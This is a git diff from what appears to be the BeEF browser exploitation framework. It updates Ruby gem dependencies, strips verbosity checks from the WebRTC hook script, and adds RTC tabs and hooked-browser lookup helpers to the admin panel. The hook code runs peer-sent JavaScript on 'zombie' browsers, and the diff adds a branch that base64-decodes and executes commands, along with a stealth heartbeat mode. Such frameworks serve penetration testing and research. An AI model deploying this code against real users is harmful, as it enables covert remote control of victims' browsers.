diff --git a/.ruby-version b/.ruby-version
index cd57a8b95..585940699 100644
--- a/.ruby-version
+++ b/.ruby-version
@@ -1 +1 @@
-2.1.5
+2.2.3
diff --git a/Gemfile.lock b/Gemfile.lock
index 55f21821e..ac8dda310 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -3,9 +3,27 @@ GEM
specs:
addressable (2.3.6)
ansi (1.4.3)
+ atk (3.0.7)
+ glib2 (= 3.0.7)
+ bundler-audit (0.4.0)
+ bundler (~> 1.2)
+ thor (~> 0.18)
+ cairo (1.14.3)
+ pkg-config (>= 1.1.5)
+ capybara (2.5.0)
+ mime-types (>= 1.16)
+ nokogiri (>= 1.3.3)
+ rack (>= 1.0.0)
+ rack-test (>= 0.5.4)
+ xpath (~> 2.0)
+ childprocess (0.5.8)
+ ffi (~> 1.0, >= 1.0.11)
+ chunky_png (1.3.5)
+ curb (0.8.8)
daemons (1.1.9)
data_objects (0.10.14)
addressable (~> 2.1)
+ diff-lcs (1.2.5)
dm-core (1.2.1)
addressable (~> 2.3)
dm-do-adapter (1.2.0)
@@ -13,77 +31,183 @@ GEM
dm-core (~> 1.2.0)
dm-migrations (1.2.0)
dm-core (~> 1.2.0)
+ dm-serializer (1.2.2)
+ dm-core (~> 1.2.0)
+ fastercsv (~> 1.5)
+ json (~> 1.6)
+ json_pure (~> 1.6)
+ multi_json (~> 1.0)
dm-sqlite-adapter (1.2.0)
dm-do-adapter (~> 1.2.0)
do_sqlite3 (~> 0.10.6)
do_sqlite3 (0.10.14)
data_objects (= 0.10.14)
+ domain_name (0.5.25)
+ unf (>= 0.0.5, < 1.0.0)
em-websocket (0.3.8)
addressable (>= 2.1.1)
eventmachine (>= 0.12.9)
erubis (2.7.0)
eventmachine (1.0.7)
execjs (2.0.2)
+ fastercsv (1.5.5)
+ ffi (1.9.10)
+ gdk_pixbuf2 (3.0.7)
+ glib2 (= 3.0.7)
geoip (1.4.0)
+ glib2 (3.0.7)
+ pkg-config
+ gtk2 (3.0.7)
+ atk (= 3.0.7)
+ gdk_pixbuf2 (= 3.0.7)
+ pango (= 3.0.7)
+ hoe (3.14.2)
+ rake (>= 0.8, < 11.0)
+ http-cookie (1.0.2)
+ domain_name (~> 0.5)
+ jar_wrapper (0.1.8)
+ zip
json (1.8.1)
+ json_pure (1.8.3)
librex (0.0.68)
- libv8 (3.11.8.17)
+ mime-types (2.99)
+ mini_portile (0.6.2)
+ mojo_magick (0.5.6)
msfrpc-client (1.0.1)
librex (>= 0.0.32)
msgpack (>= 0.4.5)
msgpack (0.5.8)
multi_json (1.9.3)
+ netrc (0.11.0)
+ nokogiri (1.6.6.4)
+ mini_portile (~> 0.6.0)
+ pango (3.0.7)
+ cairo (>= 1.14.0)
+ glib2 (= 3.0.7)
parseconfig (1.0.4)
+ pkg-config (1.1.6)
+ power_assert (0.2.6)
+ qr4r (0.4.0)
+ mojo_magick
+ rqrcode
rack (1.5.2)
rack-protection (1.5.3)
rack
+ rack-test (0.6.3)
+ rack (>= 1.0)
rainbow (2.0.0)
- ref (1.0.5)
+ rake (10.4.2)
+ rest-client (1.8.0)
+ http-cookie (>= 1.0.2, < 2.0)
+ mime-types (>= 1.16, < 3.0)
+ netrc (~> 0.7)
rexec (1.6.3)
rainbow
+ rqrcode (0.7.0)
+ chunky_png
+ rr (1.1.2)
+ rspec (3.4.0)
+ rspec-core (~> 3.4.0)
+ rspec-expectations (~> 3.4.0)
+ rspec-mocks (~> 3.4.0)
+ rspec-core (3.4.1)
+ rspec-support (~> 3.4.0)
+ rspec-expectations (3.4.0)
+ diff-lcs (>= 1.2.0, < 2.0)
+ rspec-support (~> 3.4.0)
+ rspec-mocks (3.4.0)
+ diff-lcs (>= 1.2.0, < 2.0)
+ rspec-support (~> 3.4.0)
+ rspec-support (3.4.1)
rubydns (0.7.0)
eventmachine (~> 1.0.0)
rexec (~> 1.6.2)
rubyzip (1.1.3)
+ selenium (0.2.11)
+ jar_wrapper
+ selenium-webdriver (2.48.1)
+ childprocess (~> 0.5)
+ multi_json (~> 1.0)
+ rubyzip (~> 1.0)
+ websocket (~> 1.0)
sinatra (1.4.2)
rack (~> 1.5, >= 1.5.2)
rack-protection (~> 1.4)
tilt (~> 1.3, >= 1.3.4)
term-ansicolor (1.1.5)
- therubyracer (0.11.3)
- libv8 (~> 3.11.8.12)
- ref
+ test-unit (3.1.5)
+ power_assert
+ test-unit-full (0.0.3)
+ test-unit
+ test-unit-notify
+ test-unit-rr
+ test-unit-runner-fox
+ test-unit-runner-gtk2
+ test-unit-runner-tk
+ test-unit-notify (1.0.4)
+ test-unit (>= 2.4.9)
+ test-unit-rr (1.0.3)
+ rr (>= 1.1.1)
+ test-unit (>= 2.5.2)
+ test-unit-runner-fox (0.0.1)
+ hoe (>= 1.6.0)
+ test-unit-runner-gtk2 (0.0.2)
+ gtk2
+ test-unit
+ test-unit-runner-tk (0.0.1)
+ hoe (>= 1.6.0)
thin (1.6.2)
daemons (>= 1.0.9)
eventmachine (>= 1.0.0)
rack (>= 1.0.0)
+ thor (0.19.1)
tilt (1.4.1)
uglifier (2.2.1)
execjs (>= 0.3.0)
multi_json (~> 1.0, >= 1.0.2)
+ unf (0.1.4)
+ unf_ext
+ unf_ext (0.0.7.1)
+ websocket (1.2.2)
+ xpath (2.0.0)
+ nokogiri (~> 1.3)
+ zip (2.0.2)
PLATFORMS
ruby
DEPENDENCIES
ansi
+ bundler-audit
+ capybara
+ curb
data_objects
dm-core
dm-migrations
+ dm-serializer
dm-sqlite-adapter
em-websocket (~> 0.3.6)
erubis
- eventmachine (= 1.0.3)
- execjs
+ eventmachine
geoip
json
+ mime-types
msfrpc-client
parseconfig
- rack (= 1.5.2)
+ qr4r
+ rack
+ rest-client (~> 1.8.0)
+ rspec
rubydns (= 0.7.0)
rubyzip (>= 1.0.0)
- sinatra (= 1.4.2)
+ selenium
+ selenium-webdriver
+ sinatra
term-ansicolor
- therubyracer (= 0.11.3)
+ test-unit
+ test-unit-full
thin
uglifier (~> 2.2.1)
+
+BUNDLED WITH
+ 1.10.6
diff --git a/core/main/client/webrtc.js b/core/main/client/webrtc.js
index db756cdaf..490f4f7a7 100644
--- a/core/main/client/webrtc.js
+++ b/core/main/client/webrtc.js
@@ -98,32 +98,27 @@ Beefwebrtc.prototype.forceTurn = function(jason) {
if (iceServers !== null) {
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
}
- if (this.verbose) {beef.debug("Got TURN servers, will try and maybestart again..");}
+ beef.debug("Got TURN servers, will try and maybestart again..");
this.turnDone = true;
this.maybeStart();
}
// Try and establish the RTC connection
Beefwebrtc.prototype.createPeerConnection = function() {
- if (this.verbose) {
- beef.debug('Creating RTCPeerConnnection with the following options:\n' +
- ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
- ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
- }
+ beef.debug('Creating RTCPeerConnnection with the following options:\n' +
+ ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
+ ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
try {
// Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
- if (this.verbose) {
- beef.debug('Created RTCPeerConnnection with the following options:\n' +
- ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
- ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
- }
+ beef.debug('Created RTCPeerConnnection with the following options:\n' +
+ ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
+ ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
+
} catch (e) {
- if (this.verbose) {
- beef.debug('Failed to create PeerConnection, exception: ');
- beef.debug(e);
- }
+ beef.debug('Failed to create PeerConnection, exception: ');
+ beef.debug(e);
return;
}
@@ -144,10 +139,8 @@ Beefwebrtc.prototype.onIceCandidate = function(event) {
}
}
- if (beefrtcs[peerid].verbose) {
- beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
- beef.debug(event);
- }
+ beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
+ beef.debug(event);
if (event.candidate) {
// Send the candidate to the peer via the BeEF signalling channel
@@ -158,7 +151,7 @@ Beefwebrtc.prototype.onIceCandidate = function(event) {
// Note this ICE candidate locally
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
} else {
- if (beefrtcs[peerid].verbose) {beef.debug('End of candidates.');}
+ beef.debug('End of candidates.');
}
}
@@ -166,26 +159,24 @@ Beefwebrtc.prototype.onIceCandidate = function(event) {
// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
// against the message directly
Beefwebrtc.prototype.processMessage = function(message) {
- if (this.verbose) {
- beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
- }
+ beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
var msg = JSON.parse(message);
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
- if (this.verbose) {beef.debug('processing the message, as a receiver');}
+ beef.debug('processing the message, as a receiver');
if (msg.type === 'offer') { // This IS an SDP Offer
- if (this.verbose) {beef.debug('.. and the message is an offer .. ');}
+ beef.debug('.. and the message is an offer .. ');
this.msgQueue.unshift(msg); // put it on the top of the msgqueue
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
- if (this.verbose) {beef.debug(' .. the message is NOT an offer .. ');}
+ beef.debug(' .. the message is NOT an offer .. ');
this.msgQueue.push(msg);
}
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
- if (this.verbose) {beef.debug('processing the message, as the sender, no answers yet');}
+ beef.debug('processing the message, as the sender, no answers yet');
if (msg.type === 'answer') { // This IS an SDP Answer
- if (this.verbose) {beef.debug('.. and we have an answer ..');}
+ beef.debug('.. and we have an answer ..');
this.processSignalingMessage(msg); // Process the message directly
this.gotanswer = true; // We have now received an answer
//process all other queued message...
@@ -193,11 +184,11 @@ Beefwebrtc.prototype.processMessage = function(message) {
this.processSignalingMessage(this.msgQueue.shift());
}
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue
- if (this.verbose) {beef.debug('.. not an answer ..');}
+ beef.debug('.. not an answer ..');
this.msgQueue.push(msg);
}
} else { // For all other messages just drop them in the queue
- if (this.verbose) {beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');}
+ beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
this.processSignalingMessage(msg);
}
}
@@ -205,7 +196,7 @@ Beefwebrtc.prototype.processMessage = function(message) {
// Send a signalling message ..
Beefwebrtc.prototype.sendSignalMsg = function(message) {
var msgString = JSON.stringify(message);
- if (this.verbose) {beef.debug('Signalling Message - C->S: ' + msgString);}
+ beef.debug('Signalling Message - C->S: ' + msgString);
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
}
@@ -219,15 +210,7 @@ Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
// When the signalling state changes. We don't actually do anything with this except log it.
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
- var localverbose = false;
-
- for (var k in beefrtcs) {
- if (beefrtcs[k].verbose === true) {
- localverbose = true;
- }
- }
-
- if (localverbose === true) {beef.debug("Signalling has changed to: " + event.target.signalingState);}
+ beef.debug("Signalling has changed to: " + event.target.signalingState);
}
// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
@@ -240,7 +223,7 @@ Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
}
}
- if (beefrtcs[peerid].verbose) {beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);}
+ beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
// better candidates or connections
@@ -283,7 +266,7 @@ Beefwebrtc.prototype.goStealth = function() {
beef.updater.lock = true;
this.sendPeerMsg('Going into stealth mode');
- setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
+ setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
}
// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
@@ -294,11 +277,11 @@ rtcpollPeer = function() {
return;
}
- if (beefrtcs[rtcstealth].verbose) {beef.debug('lub dub');}
+ beef.debug('lub dub');
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
- setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
+ setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
}
// When a data channel has been established - within here is the message handling function as well
@@ -310,12 +293,12 @@ Beefwebrtc.prototype.onDataChannel = function(event) {
}
}
- if (beefrtcs[peerid].verbose) {beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");}
+ beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
rtcrecvchan[peerid] = event.channel;
// This is the onmessage event handling within the datachannel
rtcrecvchan[peerid].onmessage = function(ev2) {
- if (beefrtcs[peerid].verbose) {beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);}
+ beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
// We've received the command to go into stealth mode
if (ev2.data == "!gostealth") {
@@ -335,22 +318,34 @@ Beefwebrtc.prototype.onDataChannel = function(event) {
// Command to perform arbitrary JS (while stealthed)
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
- if (beefrtcs[peerid].verbose) {beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');}
+ beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
// Command to perform arbitrary JS (while NOT stealthed)
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
- if (beefrtcs[peerid].verbose) {beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));}
+ beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
+ // B64d command from the /cmdexec API
+ } else if (ev2.data.charAt(0) == "@") {
+ beef.debug('message was a b64d command');
+
+ var fn = new Function(atob(ev2.data.substring(1)));
+ fn();
+ if (rtcstealth != false) { // force stealth back on ?
+ beef.updater.execute_commands(); // FORCE execution while stealthed
+ beef.updater.lock = true;
+ }
+
+
// Just a plain text message .. (while stealthed)
} else if (rtcstealth != false) {
- if (beefrtcs[peerid].verbose) {beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');}
+ beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
// Just a plan text message (while NOT stealthed)
} else {
- if (beefrtcs[peerid].verbose) {beef.debug('received a message from peer['+peerid+'] - sending it back to beef');}
+ beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
}
}
@@ -365,30 +360,30 @@ Beefwebrtc.prototype.execCmd = function(input) {
// Shortcut function to SEND a data messsage
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
- if (this.verbose) {beef.debug('sendPeerMsg to ' + this.peerid);}
+ beef.debug('sendPeerMsg to ' + this.peerid);
this.dataChannel.send(msg);
}
// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
Beefwebrtc.prototype.maybeStart = function() {
- if (this.verbose) {beef.debug("maybe starting ... ");}
+ beef.debug("maybe starting ... ");
if (!this.started && this.signalingReady && this.turnDone) {
- if (this.verbose) {beef.debug('Creating PeerConnection.');}
+ beef.debug('Creating PeerConnection.');
this.createPeerConnection();
this.started = true;
if (this.initiator) {
- if (this.verbose) {beef.debug("Making the call now .. bzz bzz");}
+ beef.debug("Making the call now .. bzz bzz");
this.doCall();
} else {
- if (this.verbose) {beef.debug("Receiving a call now .. somebuddy answer da fone?");}
+ beef.debug("Receiving a call now .. somebuddy answer da fone?");
this.calleeStart();
}
} else {
- if (this.verbose) {beef.debug("Not ready to start just yet..");}
+ beef.debug("Not ready to start just yet..");
}
}
@@ -397,8 +392,8 @@ Beefwebrtc.prototype.doCall = function() {
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
var self = this;
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
- if (this.verbose) {beef.debug('Sending offer to peer, with constraints: \n' +
- ' \'' + JSON.stringify(constraints) + '\'.');}
+ beef.debug('Sending offer to peer, with constraints: \n' +
+ ' \'' + JSON.stringify(constraints) + '\'.');
}
// Helper method to merge SDP constraints
@@ -426,42 +421,28 @@ Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
peerid = beefrtcs[k].peerid;
}
}
- if (beefrtcs[peerid].verbose) {beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");}
+ beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
beefrtcs[peerid].sendSignalMsg(sessionDescription);
function onSetSessionDescriptionSuccess() {
- if (beefrtcs[peerid].verbose) {beef.debug('Set session description success.');}
+ beef.debug('Set session description success.');
}
function onSetSessionDescriptionError() {
- if (beefrtcs[peerid].verbose) {beef.debug('Failed to set session description');}
+ beef.debug('Failed to set session description');
}
}
// If the browser can't build an SDP
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
- var localverbose = false;
-
- for (var k in beefrtcs) {
- if (beefrtcs[k].verbose === true) {
- localverbose = true;
- }
- }
- if (localverbose === true) {beef.debug('Failed to create session description: ' + error.toString());}
+ beef.debug('Failed to create session description: ' + error.toString());
}
// If the browser successfully sets a remote description
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
- var localverbose = false;
-
- for (var k in beefrtcs) {
- if (beefrtcs[k].verbose === true) {
- localverbose = true;
- }
- }
- if (localverbose === true) {beef.debug('Set remote session description successfully');}
+ beef.debug('Set remote session description successfully');
}
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
@@ -475,15 +456,15 @@ Beefwebrtc.prototype.calleeStart = function() {
// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
Beefwebrtc.prototype.processSignalingMessage = function(message) {
if (!this.started) {
- if (this.verbose) {beef.debug('peerConnection has not been created yet!');}
+ beef.debug('peerConnection has not been created yet!');
return;
}
if (message.type === 'offer') {
- if (this.verbose) {beef.debug("Processing signalling message: OFFER");}
+ beef.debug("Processing signalling message: OFFER");
if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
// version of FF - which no longer works
- if (this.verbose) {beef.debug("Moz shim here");}
+ beef.debug("Moz shim here");
globalrtc[this.peerid].setRemoteDescription(
new RTCSessionDescription(message),
function() {
@@ -518,9 +499,9 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
this.doAnswer();
}
} else if (message.type === 'answer') {
- if (this.verbose) {beef.debug("Processing signalling message: ANSWER");}
+ beef.debug("Processing signalling message: ANSWER");
if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
- if (this.verbose) {beef.debug("Moz shim here");}
+ beef.debug("Moz shim here");
globalrtc[this.peerid].setRemoteDescription(
new RTCSessionDescription(message),
function() {},
@@ -531,7 +512,7 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
this.setRemote(message);
}
} else if (message.type === 'candidate') {
- if (this.verbose) {beef.debug("Processing signalling message: CANDIDATE");}
+ beef.debug("Processing signalling message: CANDIDATE");
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
candidate: message.candidate});
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
@@ -545,15 +526,11 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
Beefwebrtc.prototype.setRemote = function(message) {
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
-
- // function onSetRemoteDescriptionSuccess() {
- // if (this.verbose) {beef.debug("Set remote session description success.");}
- // }
}
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
Beefwebrtc.prototype.doAnswer = function() {
- if (this.verbose) {beef.debug('Sending answer to peer.');}
+ beef.debug('Sending answer to peer.');
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
}
@@ -570,31 +547,17 @@ Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
// Event handler for successful addition of ICE Candidates
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
- var localverbose = false;
-
- for (var k in beefrtcs) {
- if (beefrtcs[k].verbose === true) {
- localverbose = true;
- }
- }
- if (localverbose === true) {beef.debug('AddIceCandidate success.');}
+ beef.debug('AddIceCandidate success.');
}
// Event handler for unsuccessful addition of ICE Candidates
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
- var localverbose = false;
-
- for (var k in beefrtcs) {
- if (beefrtcs[k].verbose === true) {
- localverbose = true;
- }
- }
- if (localverbose === true) {beef.debug('Failed to add Ice Candidate: ' + error.toString());}
+ beef.debug('Failed to add Ice Candidate: ' + error.toString());
}
// If a peer hangs up (we bring down the peerconncetion via the stop() method)
Beefwebrtc.prototype.onRemoteHangup = function() {
- if (this.verbose) {beef.debug('Session terminated.');}
+ beef.debug('Session terminated.');
this.initiator = 0;
// transitionToWaiting();
this.stop();
diff --git a/extensions/admin_ui/api/handler.rb b/extensions/admin_ui/api/handler.rb
index ee740eaa9..1b80a17c2 100644
--- a/extensions/admin_ui/api/handler.rb
+++ b/extensions/admin_ui/api/handler.rb
@@ -33,7 +33,7 @@ module API
#NOTE: order counts! make sure you know what you're doing if you add files
esapi = %w(esapi/Class.create.js esapi/jquery-1.6.4.min.js esapi/jquery-encoder-0.1.0.js)
ux = %w(ui/common/beef_common.js ux/PagingStore.js ux/StatusBar.js ux/TabCloseMenu.js)
- panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/tabs/ZombieTabNetwork.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js)
+ panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/tabs/ZombieTabNetwork.js ui/panel/tabs/ZombieTabRTC.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js)
global_js = esapi + ux + panel
diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb
index 190adf941..5a1a3399c 100644
--- a/extensions/admin_ui/controllers/panel/panel.rb
+++ b/extensions/admin_ui/controllers/panel/panel.rb
@@ -114,7 +114,8 @@ module BeEF
'has_quicktime' => has_quicktime,
'has_wmp' => has_wmp,
'has_realplayer' => has_realplayer,
- 'date_stamp' => date_stamp
+ 'date_stamp' => date_stamp,
+ 'hb_id' => hooked_browser.id
}
end
diff --git a/extensions/admin_ui/media/css/base.css b/extensions/admin_ui/media/css/base.css
index 6c7f85b26..887a76e39 100644
--- a/extensions/admin_ui/media/css/base.css
+++ b/extensions/admin_ui/media/css/base.css
@@ -80,6 +80,12 @@
background-image: url(../images/icons/xssrays.png);
}
+.zombie-tree-ctxMenu-rtc {
+ background-image: url(../images/icons/network.png);
+ background-size: 24px 24px;
+ background-repeat: no-repeat;
+}
+
.zombie-tree-ctxMenu-delete {
background-image: url(../images/icons/delete.png);
background-size: 32px 32px;
diff --git a/extensions/admin_ui/media/javascript/ui/common/beef_common.js b/extensions/admin_ui/media/javascript/ui/common/beef_common.js
index 6c1aebd04..da9927089 100644
--- a/extensions/admin_ui/media/javascript/ui/common/beef_common.js
+++ b/extensions/admin_ui/media/javascript/ui/common/beef_common.js
@@ -13,6 +13,7 @@ if(typeof beefwui === 'undefined' && typeof window.beefwui === 'undefined') {
var BeefWUI = {
rest_token: "",
+ hooked_browsers: {},
/**
* Retrieve the token needed to call the RESTful API.
@@ -37,7 +38,107 @@ if(typeof beefwui === 'undefined' && typeof window.beefwui === 'undefined') {
});
}
return this.rest_token;
- }
+ },
+
+ /**
+ * Get hooked browser ID from session
+ */
+ get_hb_id: function(sess){
+ var id = "";
+ $jwterm.ajax({
+ type: 'GET',
+ url: "/api/hooks/?token=" + this.get_rest_token(),
+ async: false,
+ processData: false,
+ success: function(data){
+ for (var k in data['hooked-browsers']['online']) {
+ if (data['hooked-browsers']['online'][k].session === sess) {
+ id = data['hooked-browsers']['online'][k].id;
+ }
+ }
+
+ if (id === "") {
+ for (var k in data['hooked-browsers']['offline']) {
+ if (data['hooked-browsers']['offline'][k].session === sess) {
+ id = data['hooked-browsers']['offline'][k].id;
+ }
+ }
+ }
+ },
+ error: function(){
+ commands_statusbar.update_fail("Error getting hb id");
+ }
+ });
+ return id;
+ },
+
+ /**
+ * Get hooked browser info from ID
+ */
+ get_info_from_id: function(id) {
+ var info = {};
+ $jwterm.ajax({
+ type: 'GET',
+ url: "/api/hooks/?token=" + this.get_rest_token(),
+ async: false,
+ processData: false,
+ success: function(data){
+ for (var k in data['hooked-browsers']['online']) {
+ if (data['hooked-browsers']['online'][k].id === id) {
+ info = data['hooked-browsers']['online'][k];
+ }
+ }
+
+ if ($jwterm.isEmptyObject(info)) {
+ for (var k in data['hooked-browsers']['offline']) {
+ if (data['hooked-browsers']['offline'][k].id === id) {
+ info = data['hooked-browsers']['offline'][k];
+ }
+ }
+ }
+ },
+ error: function(){
+ commands_statusbar.update_fail("Error getting hb ip");
+ }
+ });
+ console.log(info);
+ return info;
+
+ },
+
+ /**
+ * Get hooked browser info from ID
+ */
+ get_fullinfo_from_id: function(id) {
+ var info = {};
+ $jwterm.ajax({
+ type: 'POST',
+ url: "<%= @base_path %>/panel/hooked-browser-tree-update.json",
+ async: false,
+ processData: false,
+ success: function(data){
+ for (var k in data['hooked-browsers']['online']) {
+ if (data['hooked-browsers']['online'][k].id === id) {
+ info = data['hooked-browsers']['online'][k];
+ }
+ }
+
+ if ($jwterm.isEmptyObject(info)) {
+ for (var k in data['hooked-browsers']['offline']) {
+ if (data['hooked-browsers']['offline'][k].id === id) {
+ info = data['hooked-browsers']['offline'][k];
+ }
+ }
+ }
+ },
+ error: function(){
+ commands_statusbar.update_fail("Error getting hb ip");
+ }
+ });
+ console.log(info);
+ return info;
+
+ }
};
window.beefwui = BeefWUI;
diff --git a/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js b/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js
index 22b401d57..09ca4de5b 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js
@@ -59,6 +59,7 @@ Ext.TaskMgr.start({
hr.innerHTML = "You appear to be logged out. Login";
}
var distributed_engine_rules = (updates['ditributed-engine-rules']) ? updates['ditributed-engine-rules'] : null;
+ beefwui.hooked_browsers = (updates['hooked-browsers']); //? updates['hooked-browsers'] : null;
var hooked_browsers = (updates['hooked-browsers']) ? updates['hooked-browsers'] : null;
if(zombiesManager && hooked_browsers) {
@@ -80,4 +81,4 @@ Ext.TaskMgr.start({
},
interval: 8000
-});
\ No newline at end of file
+});
diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js b/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js
index 9147e301d..dad55ebdf 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/ZombieTab.js
@@ -13,6 +13,7 @@ ZombieTab = function(zombie) {
ipec_tab = new ZombieTab_IpecTab(zombie);
autorun_tab = new ZombieTab_Autorun(zombie);
network_tab = new ZombieTab_Network(zombie);
+ rtc_tab = new ZombieTab_Rtc(zombie);
ZombieTab.superclass.constructor.call(this, {
id:"current-browser",
@@ -25,7 +26,7 @@ ZombieTab = function(zombie) {
forceFit: true,
type: 'fit'
},
- items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab, ipec_tab, autorun_tab, network_tab],
